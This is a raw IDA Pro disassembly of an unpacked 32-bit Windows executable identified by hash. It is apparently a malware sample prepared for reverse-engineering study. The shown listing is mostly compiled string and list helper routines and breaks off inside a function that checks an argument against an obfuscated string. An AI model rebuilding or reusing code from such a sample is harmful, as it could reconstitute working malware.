;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C2A82B26FEBCBC6150054299BE781871

; File Name   :	u:\work\c2a82b26febcbc6150054299be781871_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001C000 ( 114688.)
; Section size in file		: 0001C000 ( 114688.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401141+79p
					; sub_4011D3+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403332
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40101C	proc near		; CODE XREF: sub_4012AC+50p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402F60
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_40101C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401038	proc near		; DATA XREF: c.7ld2ih:00421CD4o
		mov	dword ptr [ecx], offset	off_41D324
		jmp	sub_40308A
sub_401038	endp

; ---------------------------------------------------------------------------

loc_401043:				; DATA XREF: c.7ld2ih:off_41D324o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41D324
		call	sub_40308A
		test	byte ptr [esp+8], 1
		jz	short loc_40105F
		push	esi
		call	sub_40332D
		pop	ecx

loc_40105F:				; CODE XREF: .text:00401056j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_401065	proc near		; CODE XREF: sub_40121E+43p
					; sub_4016BA+43p ...
		push	4
		mov	eax, offset loc_41C8FC
		call	sub_40497C
		mov	esi, ecx
		mov	[ebp-10h], esi
		call	sub_402FBB
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41D330
		call	sub_401111
		mov	eax, esi
		call	sub_404A1B
		retn	4
sub_401065	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40109A	proc near		; CODE XREF: .text:004010C8p
					; .text:004010E7j ...
		push	esi
		mov	esi, ecx
		push	0
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41D330
		call	sub_4011D3
		mov	ecx, esi
		pop	esi
		jmp	sub_40308A
sub_40109A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010B7	proc near		; DATA XREF: c.7ld2ih:0041D334o
					; c.7ld2ih:0041D340o ...
		cmp	dword ptr [ecx+24h], 10h
		jb	short loc_4010C1
		mov	eax, [ecx+10h]
		retn
; ---------------------------------------------------------------------------

loc_4010C1:				; CODE XREF: sub_4010B7+4j
		lea	eax, [ecx+10h]
		retn
sub_4010B7	endp

; ---------------------------------------------------------------------------

loc_4010C5:				; DATA XREF: c.7ld2ih:off_41D330o
		push	esi
		mov	esi, ecx
		call	sub_40109A
		test	byte ptr [esp+8], 1
		jz	short loc_4010DB
		push	esi
		call	sub_40332D
		pop	ecx

loc_4010DB:				; CODE XREF: .text:004010D2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_4010E1:				; DATA XREF: c.7ld2ih:00421C9Co
		mov	dword ptr [ecx], offset	off_41D33C
		jmp	sub_40109A
; ---------------------------------------------------------------------------

loc_4010EC:				; DATA XREF: c.7ld2ih:off_41D33Co
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41D33C
		call	sub_40109A
		test	byte ptr [esp+8], 1
		jz	short loc_401108
		push	esi
		call	sub_40332D
		pop	ecx

loc_401108:				; CODE XREF: .text:004010FFj
		mov	eax, esi
		pop	esi
		retn	4
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_401111	proc near		; CODE XREF: sub_401065+26p
					; sub_4013E6+2Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_40131B
		push	0FFFFFFFFh
		push	0
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_401141
		mov	eax, esi
		pop	esi
		retn	4
sub_401111	endp

; ---------------------------------------------------------------------------

loc_401137:				; CODE XREF: .text:0041C89Ej
					; .text:0041C91Aj ...
		push	0
		push	1
		call	sub_4011D3
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401141	proc near		; CODE XREF: sub_401111+1Bp
					; sub_401547+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], eax
		mov	ebx, ecx
		jnb	short loc_401159
		call	sub_402A79

loc_401159:				; CODE XREF: sub_401141+11j
		mov	esi, [edi+14h]
		mov	eax, [ebp+arg_4]
		sub	esi, eax
		cmp	[ebp+arg_8], esi
		jnb	short loc_401169
		mov	esi, [ebp+arg_8]

loc_401169:				; CODE XREF: sub_401141+23j
		cmp	ebx, edi
		mov	ecx, ebx
		jnz	short loc_401187
		push	0FFFFFFFFh
		add	esi, eax
		push	esi
		call	sub_4012AC
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	0
		call	sub_4012AC
		jmp	short loc_4011CA
; ---------------------------------------------------------------------------

loc_401187:				; CODE XREF: sub_401141+2Cj
		push	0
		push	esi
		call	sub_401337
		test	al, al
		jz	short loc_4011CA
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_40119E
		mov	edi, [edi+4]
		jmp	short loc_4011A1
; ---------------------------------------------------------------------------

loc_40119E:				; CODE XREF: sub_401141+56j
		add	edi, 4

loc_4011A1:				; CODE XREF: sub_401141+5Bj
		mov	ecx, [ebx+18h]
		cmp	ecx, 10h
		jb	short loc_4011AE
		mov	eax, [ebx+4]
		jmp	short loc_4011B1
; ---------------------------------------------------------------------------

loc_4011AE:				; CODE XREF: sub_401141+66j
		lea	eax, [ebx+4]

loc_4011B1:				; CODE XREF: sub_401141+6Bj
		mov	edx, [ebp+arg_4]
		push	esi
		add	edi, edx
		push	edi
		push	ecx
		push	eax
		call	sub_401000
		add	esp, 10h
		push	esi
		mov	ecx, ebx
		call	sub_40131B

loc_4011CA:				; CODE XREF: sub_401141+44j
					; sub_401141+50j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_401141	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4011D3	proc near		; CODE XREF: sub_40109A+10p
					; .text:0040113Bp ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_401208
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_401208
		cmp	[esp+4+arg_4], 0
		lea	eax, [esi+4]
		push	edi
		mov	edi, [eax]
		jbe	short loc_401200
		push	[esp+8+arg_4]
		push	edi
		push	10h
		push	eax
		call	sub_401000
		add	esp, 10h

loc_401200:				; CODE XREF: sub_4011D3+1Bj
		push	edi
		call	sub_40332D
		pop	ecx
		pop	edi

loc_401208:				; CODE XREF: sub_4011D3+8j
					; sub_4011D3+Ej
		push	[esp+4+arg_4]
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_40131B
		pop	esi
		retn	8
sub_4011D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40121E	proc near		; CODE XREF: sub_41C22E+4Ap
		push	44h
		mov	eax, offset loc_41C9FC
		call	sub_40497C
		push	dword ptr [ebp+10h]
		mov	esi, [ebp+0Ch]
		push	dword ptr [esi+4]
		push	esi
		call	sub_401395
		mov	ecx, 0FC0FC0h
		sub	ecx, dword_435694
		cmp	ecx, 1
		jnb	short loc_40127B
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-28h]
		call	sub_401420
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401065
		push	offset dword_421C98
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41D33C
		call	sub_40456B

loc_40127B:				; CODE XREF: sub_40121E+29j
		inc	dword_435694
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		mov	[ecx], eax
		call	sub_404A1B
		retn	0Ch
sub_40121E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401291	proc near		; CODE XREF: .text:loc_41CAEBp
		push	10Ch
		call	sub_40340B
		test	eax, eax
		pop	ecx
		jz	short loc_4012A2
		mov	[eax], eax

loc_4012A2:				; CODE XREF: sub_401291+Dj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_4012AB
		mov	[ecx], eax

locret_4012AB:				; CODE XREF: sub_401291+16j
		retn
sub_401291	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4012AC	proc near		; CODE XREF: sub_401141+33p
					; sub_401141+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		cmp	[esi+14h], edi
		jnb	short loc_4012C0
		call	sub_402A79

loc_4012C0:				; CODE XREF: sub_4012AC+Dj
		mov	eax, [esi+14h]
		sub	eax, edi
		cmp	eax, [ebp+arg_4]
		jnb	short loc_4012CD
		mov	[ebp+arg_4], eax

loc_4012CD:				; CODE XREF: sub_4012AC+1Cj
		cmp	[ebp+arg_4], 0
		jbe	short loc_401313
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		push	ebx
		lea	edx, [esi+4]
		jb	short loc_4012E3
		mov	ebx, [edx]
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------

loc_4012E3:				; CODE XREF: sub_4012AC+31j
		mov	ebx, edx

loc_4012E5:				; CODE XREF: sub_4012AC+35j
		cmp	ecx, 10h
		jb	short loc_4012EC
		mov	edx, [edx]

loc_4012EC:				; CODE XREF: sub_4012AC+3Cj
		sub	eax, [ebp+arg_4]
		add	ebx, edi
		add	ebx, [ebp+arg_4]
		push	eax
		push	ebx
		sub	ecx, edi
		push	ecx
		add	edx, edi
		push	edx
		call	sub_40101C
		mov	eax, [esi+14h]
		sub	eax, [ebp+arg_4]
		add	esp, 10h
		push	eax
		mov	ecx, esi
		call	sub_40131B
		pop	ebx

loc_401313:				; CODE XREF: sub_4012AC+25j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_4012AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40131B	proc near		; CODE XREF: sub_401111+Cp
					; sub_401141+84p ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+18h], 10h
		mov	eax, [esp+arg_0]
		mov	[ecx+14h], eax
		jb	short loc_40132D
		mov	ecx, [ecx+4]
		jmp	short loc_401330
; ---------------------------------------------------------------------------

loc_40132D:				; CODE XREF: sub_40131B+Bj
		add	ecx, 4

loc_401330:				; CODE XREF: sub_40131B+10j
		mov	byte ptr [ecx+eax], 0
		retn	4
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================



sub_401337	proc near		; CODE XREF: sub_401141+49p
					; sub_401547+39p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		cmp	edi, 0FFFFFFFEh
		mov	esi, ecx
		jbe	short loc_401349
		call	sub_402A3A

loc_401349:				; CODE XREF: sub_401337+Bj
		cmp	[esi+18h], edi
		jnb	short loc_40135B
		push	dword ptr [esi+14h]
		mov	ecx, esi
		push	edi
		call	sub_401442
		jmp	short loc_401388
; ---------------------------------------------------------------------------

loc_40135B:				; CODE XREF: sub_401337+15j
		cmp	[esp+8+arg_4], 0
		jz	short loc_40137C
		cmp	edi, 10h
		jnb	short loc_40137C
		mov	eax, [esi+14h]
		cmp	edi, eax
		jnb	short loc_401370
		mov	eax, edi

loc_401370:				; CODE XREF: sub_401337+35j
		push	eax
		push	1
		mov	ecx, esi
		call	sub_4011D3
		jmp	short loc_401388
; ---------------------------------------------------------------------------

loc_40137C:				; CODE XREF: sub_401337+29j
					; sub_401337+2Ej
		test	edi, edi
		jnz	short loc_401388
		push	edi
		mov	ecx, esi
		call	sub_40131B

loc_401388:				; CODE XREF: sub_401337+22j
					; sub_401337+43j ...
		xor	eax, eax
		cmp	eax, edi
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		retn	8
sub_401337	endp


; =============== S U B	R O U T	I N E =======================================



sub_401395	proc near		; CODE XREF: sub_40121E+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	10Ch
		call	sub_40340B
		test	eax, eax
		pop	ecx
		jz	short loc_4013AA
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx

loc_4013AA:				; CODE XREF: sub_401395+Dj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4013B7
		mov	edx, [esp+arg_4]
		mov	[ecx], edx

loc_4013B7:				; CODE XREF: sub_401395+1Aj
		push	edi
		lea	edi, [eax+8]
		test	edi, edi
		jz	short loc_4013CA
		push	esi
		mov	esi, [esp+8+arg_8]
		push	41h
		pop	ecx
		rep movsd
		pop	esi

loc_4013CA:				; CODE XREF: sub_401395+28j
		pop	edi
		retn	0Ch
sub_401395	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_4013E6
		mov	dword ptr [esi], offset	off_41D33C
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4013E6	proc near		; CODE XREF: .text:004013D5p
					; sub_402A79+46p
		push	4
		mov	eax, offset loc_41C8FC
		call	sub_40497C
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	edi, [ebp+8]
		push	edi
		call	sub_403032
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41D330
		call	sub_401111
		mov	eax, esi
		call	sub_404A1B
		retn	4
sub_4013E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401420	proc near		; CODE XREF: sub_40121E+33p
					; sub_4016BA+33p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_40131B
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_401524
		mov	eax, esi
		pop	esi
		retn	4
sub_401420	endp


; =============== S U B	R O U T	I N E =======================================



sub_401442	proc near		; CODE XREF: sub_401337+1Dp
		push	0Ch
		mov	eax, offset sub_41C8D9
		call	sub_4049AF
		mov	edi, ecx
		mov	[ebp-18h], edi
		mov	esi, [ebp+8]
		or	esi, 0Fh
		cmp	esi, 0FFFFFFFEh
		jbe	short loc_401463
		mov	esi, [ebp+8]
		jmp	short loc_401488
; ---------------------------------------------------------------------------

loc_401463:				; CODE XREF: sub_401442+1Aj
		xor	edx, edx
		push	3
		mov	eax, esi
		pop	ebx
		div	ebx
		mov	ecx, [edi+18h]
		mov	[ebp-14h], ecx
		shr	dword ptr [ebp-14h], 1
		mov	edx, [ebp-14h]
		cmp	eax, edx
		jnb	short loc_401488
		push	0FFFFFFFEh
		pop	eax
		sub	eax, edx
		cmp	ecx, eax
		ja	short loc_401488
		lea	esi, [edx+ecx]

loc_401488:				; CODE XREF: sub_401442+1Fj
					; sub_401442+38j ...
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+1]
		push	0
		push	eax
		call	sub_4015ED
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_4014C7
; ---------------------------------------------------------------------------

loc_40149D:				; DATA XREF: c.7ld2ih:00421DF4o
		mov	eax, [ebp+8]
		mov	[ebp-10h], esp
		mov	[ebp+8], eax
		inc	eax
		push	0
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_4015ED
		pop	ecx
		mov	[ebp-14h], eax
		pop	ecx
		mov	eax, offset loc_4014BE
		retn
; ---------------------------------------------------------------------------

loc_4014BE:				; DATA XREF: sub_401442+76o
		mov	edi, [ebp-18h]
		mov	esi, [ebp+8]
		mov	ebx, [ebp-14h]

loc_4014C7:				; CODE XREF: sub_401442+59j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_4014EC
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_4014D8
		mov	eax, [edi+4]
		jmp	short loc_4014DB
; ---------------------------------------------------------------------------

loc_4014D8:				; CODE XREF: sub_401442+8Fj
		lea	eax, [edi+4]

loc_4014DB:				; CODE XREF: sub_401442+94j
		push	dword ptr [ebp+0Ch]
		push	eax
		lea	eax, [esi+1]
		push	eax
		push	ebx
		call	sub_401000
		add	esp, 10h

loc_4014EC:				; CODE XREF: sub_401442+89j
		push	0
		push	1
		mov	ecx, edi
		call	sub_4011D3
		push	dword ptr [ebp+0Ch]
		mov	ecx, edi
		mov	[edi+4], ebx
		mov	[edi+18h], esi
		call	sub_40131B
		call	sub_404A1B
		retn	8
sub_401442	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40150F	proc near		; DATA XREF: c.7ld2ih:00421DE4o
		mov	ecx, [ebp-18h]
		xor	esi, esi
		push	esi
		push	1
		call	sub_4011D3
		push	esi
		push	esi
		call	sub_40456B
		int	3		; Trap to Debugger
sub_40150F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401524	proc near		; CODE XREF: sub_401420+17p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		lea	edx, [eax+1]

loc_40152E:				; CODE XREF: sub_401524+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40152E
		sub	eax, edx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_401547
		pop	esi
		retn	4
sub_401524	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401547	proc near		; CODE XREF: sub_401524+1Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_4015B9
		test	al, al
		jz	short loc_401579
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_401566
		mov	eax, [esi+4]
		jmp	short loc_401569
; ---------------------------------------------------------------------------

loc_401566:				; CODE XREF: sub_401547+18j
		lea	eax, [esi+4]

loc_401569:				; CODE XREF: sub_401547+1Dj
		push	[ebp+arg_4]
		sub	edi, eax
		push	edi
		push	esi
		mov	ecx, esi
		call	sub_401141
		jmp	short loc_4015B3
; ---------------------------------------------------------------------------

loc_401579:				; CODE XREF: sub_401547+12j
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_401337
		test	al, al
		jz	short loc_4015B1
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		jb	short loc_401596
		mov	eax, [esi+4]
		jmp	short loc_401599
; ---------------------------------------------------------------------------

loc_401596:				; CODE XREF: sub_401547+48j
		lea	eax, [esi+4]

loc_401599:				; CODE XREF: sub_401547+4Dj
		push	[ebp+arg_4]
		push	edi
		push	ecx
		push	eax
		call	sub_401000
		add	esp, 10h
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_40131B

loc_4015B1:				; CODE XREF: sub_401547+40j
		mov	eax, esi

loc_4015B3:				; CODE XREF: sub_401547+30j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_401547	endp


; =============== S U B	R O U T	I N E =======================================



sub_4015B9	proc near		; CODE XREF: sub_401547+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx+18h]
		cmp	esi, 10h
		lea	eax, [ecx+4]
		jb	short loc_4015C9
		mov	edx, [eax]
		jmp	short loc_4015CB
; ---------------------------------------------------------------------------

loc_4015C9:				; CODE XREF: sub_4015B9+Aj
		mov	edx, eax

loc_4015CB:				; CODE XREF: sub_4015B9+Ej
		cmp	[esp+4+arg_0], edx
		jb	short loc_4015E7
		cmp	esi, 10h
		jb	short loc_4015D8
		mov	eax, [eax]

loc_4015D8:				; CODE XREF: sub_4015B9+1Bj
		mov	ecx, [ecx+14h]
		add	ecx, eax
		cmp	ecx, [esp+4+arg_0]
		jbe	short loc_4015E7
		mov	al, 1
		jmp	short loc_4015E9
; ---------------------------------------------------------------------------

loc_4015E7:				; CODE XREF: sub_4015B9+16j
					; sub_4015B9+28j
		xor	al, al

loc_4015E9:				; CODE XREF: sub_4015B9+2Cj
		pop	esi
		retn	4
sub_4015B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015ED	proc near		; CODE XREF: sub_401442+50p
					; sub_401442+6Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		sub	esp, 0Ch
		test	ecx, ecx
		ja	short loc_401605
		xor	ecx, ecx

loc_4015FC:				; CODE XREF: sub_4015ED+22j
		push	ecx
		call	sub_40340B
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401605:				; CODE XREF: sub_4015ED+Bj
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 1
		jnb	short loc_4015FC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_402FCC
		push	offset dword_421CD0
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], offset off_41D324
		call	sub_40456B
		int	3		; Trap to Debugger
		push	esi
		push	[esp+10h+var_8]
		mov	esi, ecx
		call	sub_403032
		mov	dword ptr [esi], offset	off_41D324
		mov	eax, esi
		pop	esi
		retn	4
sub_4015ED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40164F	proc near		; CODE XREF: sub_401E4A+FFp
					; sub_401FD7+4Ep ...
		cmp	dword ptr [esi], 0
		jnz	short loc_401659
		call	sub_40331D

loc_401659:				; CODE XREF: sub_40164F+3j
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+4]
		jnz	short loc_401668
		call	sub_40331D

loc_401668:				; CODE XREF: sub_40164F+12j
		mov	eax, [esi+4]
		add	eax, 8
		retn
sub_40164F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40166F	proc near		; CODE XREF: sub_401E4A+F1p
					; sub_401FD7+40p ...
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401679
		cmp	eax, [edi]
		jz	short loc_40167E

loc_401679:				; CODE XREF: sub_40166F+4j
		call	sub_40331D

loc_40167E:				; CODE XREF: sub_40166F+8j
		mov	eax, [esi+4]
		xor	ecx, ecx
		cmp	eax, [edi+4]
		setnz	cl
		mov	al, cl
		retn
sub_40166F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40168C	proc near		; CODE XREF: sub_401E4A+11Ap
					; sub_401FD7+69p ...
		cmp	dword ptr [esi], 0
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [esi+4]
		mov	[edi+4], eax
		jnz	short loc_4016A0
		call	sub_40331D

loc_4016A0:				; CODE XREF: sub_40168C+Dj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+4]
		jnz	short loc_4016AF
		call	sub_40331D

loc_4016AF:				; CODE XREF: sub_40168C+1Cj
		mov	eax, [esi+4]
		mov	eax, [eax]
		mov	[esi+4], eax
		mov	eax, edi
		retn
sub_40168C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4016BA	proc near		; CODE XREF: sub_414884+54p
		push	48h
		mov	eax, offset loc_41C91F
		call	sub_40497C
		push	dword ptr [ebp+8]
		mov	esi, [ebp+10h]
		push	dword ptr [esi+4]
		push	esi
		call	sub_401745
		mov	ecx, 3C3C3C3h
		sub	ecx, dword_4356A0
		cmp	ecx, 1
		jnb	short loc_401717
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-2Ch]
		call	sub_401420
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_401065
		push	offset dword_421C98
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_41D33C
		call	sub_40456B

loc_401717:				; CODE XREF: sub_4016BA+29j
		inc	dword_4356A0
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		mov	[ecx], eax
		call	sub_404A1B
		retn	0Ch
sub_4016BA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40172D	proc near		; CODE XREF: .text:0041CB08p
		push	4Ch
		call	sub_40340B
		test	eax, eax
		pop	ecx
		jz	short loc_40173B
		mov	[eax], eax

loc_40173B:				; CODE XREF: sub_40172D+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_401744
		mov	[ecx], eax

locret_401744:				; CODE XREF: sub_40172D+13j
		retn
sub_40172D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401745	proc near		; CODE XREF: sub_4016BA+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	4Ch
		call	sub_40340B
		test	eax, eax
		pop	ecx
		jz	short loc_401757
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx

loc_401757:				; CODE XREF: sub_401745+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_401764
		mov	edx, [esp+arg_4]
		mov	[ecx], edx

loc_401764:				; CODE XREF: sub_401745+17j
		push	edi
		lea	edi, [eax+8]
		test	edi, edi
		jz	short loc_401777
		push	esi
		mov	esi, [esp+8+arg_8]
		push	11h
		pop	ecx
		rep movsd
		pop	esi

loc_401777:				; CODE XREF: sub_401745+25j
		pop	edi
		retn	0Ch
sub_401745	endp


; =============== S U B	R O U T	I N E =======================================



sub_40177B	proc near		; DATA XREF: c.7ld2ih:off_420B94o
		push	4B8h
		mov	eax, offset loc_41CAC3
		call	sub_4049E5
		cmp	dword ptr [ebp+1Ch], 3
		mov	eax, [ebp+10h]
		mov	edi, [ebp+20h]
		mov	[ebp-4C4h], eax
		mov	eax, [ebp+18h]
		mov	[ebp-4BCh], eax
		mov	[ebp-4C0h], edi
		jl	loc_4019D5
		mov	esi, 0BFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-18Fh]
		push	ebx
		push	eax
		mov	[ebp-190h], bl
		call	sub_407F20
		push	esi
		lea	eax, [ebp-0CFh]
		push	ebx
		push	eax
		mov	[ebp-0D0h], bl
		call	sub_407F20
		push	dword ptr [edi+4]
		lea	edi, [ebp-190h]
		call	sub_41BDAA
		push	0C0h
		lea	esi, [ebp-0D0h]
		mov	ebx, offset asc_426C10 ; "ÃÄÃÄ´Ç·À±¶··´À´¶Æ³À·°¶º°Çµ´³Ã¶º³µ´ÃóÁ´"...
		call	sub_419EC1
		add	esp, 20h
		cmp	byte ptr [ebp+8], 0
		jz	short loc_401817
		cmp	byte_426C0A, 0
		jz	loc_4019EB

loc_401817:				; CODE XREF: sub_40177B+8Dj
		lea	ecx, [ebp-0D0h]
		lea	eax, [ebp-190h]

loc_401823:				; CODE XREF: sub_40177B+C0j
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_401841
		test	dl, dl
		jz	short loc_40183D
		mov	dl, [eax+1]
		cmp	dl, [ecx+1]
		jnz	short loc_401841
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx
		test	dl, dl
		jnz	short loc_401823

loc_40183D:				; CODE XREF: sub_40177B+B0j
		xor	eax, eax
		jmp	short loc_401846
; ---------------------------------------------------------------------------

loc_401841:				; CODE XREF: sub_40177B+ACj
					; sub_40177B+B8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_401846:				; CODE XREF: sub_40177B+C4j
		test	eax, eax
		jnz	loc_4019C8
		push	327h
		push	eax
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_407F20
